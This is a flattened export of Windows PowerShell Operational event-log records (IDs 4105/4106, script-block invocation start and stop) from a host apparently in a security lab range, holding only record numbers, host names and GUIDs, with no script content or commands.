410515102150x0675204Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675203Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675202Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675201Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675200Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675199Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675198Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675197Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675196Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675195Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675194Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675193Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675192Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675191Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675190Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675189Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675188Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675187Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675186Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675185Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675184Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675183Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675182Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675181Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675180Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675179Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675178Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675177Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675176Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675175Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675174Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675173Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675172Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675171Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675170Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675169Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675168Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675167Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675166Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675165Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675164Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675163Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675162Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675161Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675160Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675159Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675158Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675157Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675156Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675155Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675154Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675153Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675152Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675151Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675150Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675149Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675148Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675147Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675146Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675145Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675144Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675143Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675142Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675141Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675140Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675139Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675138Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675137Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675136Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675135Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675134Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675133Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675132Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675131Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675130Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675129Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675128Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675127Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675126Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675125Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675124Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675123Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675122Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675121Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675120Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675119Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675118Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675117Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675116Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675115Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675114Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675113Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675112Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675111Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675110Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675109Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675108Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675107Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675106Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675105Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675104Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675103Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675102Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675101Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675100Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675099Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675098Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675097Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675096Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675095Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675094Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675093Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675092Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675091Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675090Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675089Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675088Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675087Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675086Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675085Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675084Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675083Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675082Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675081Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675080Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675079Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675078Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675077Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675076Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675075Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675074Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675073Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675072Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675071Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675070Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675069Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675068Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675067Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675066Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675065Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675064Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675063Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675062Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675061Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675060Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675059Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675058Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675057Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675056Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675055Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675054Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675053Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675052Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675051Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675050Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675049Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675048Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675047Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675046Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675045Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675044Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675043Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675042Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 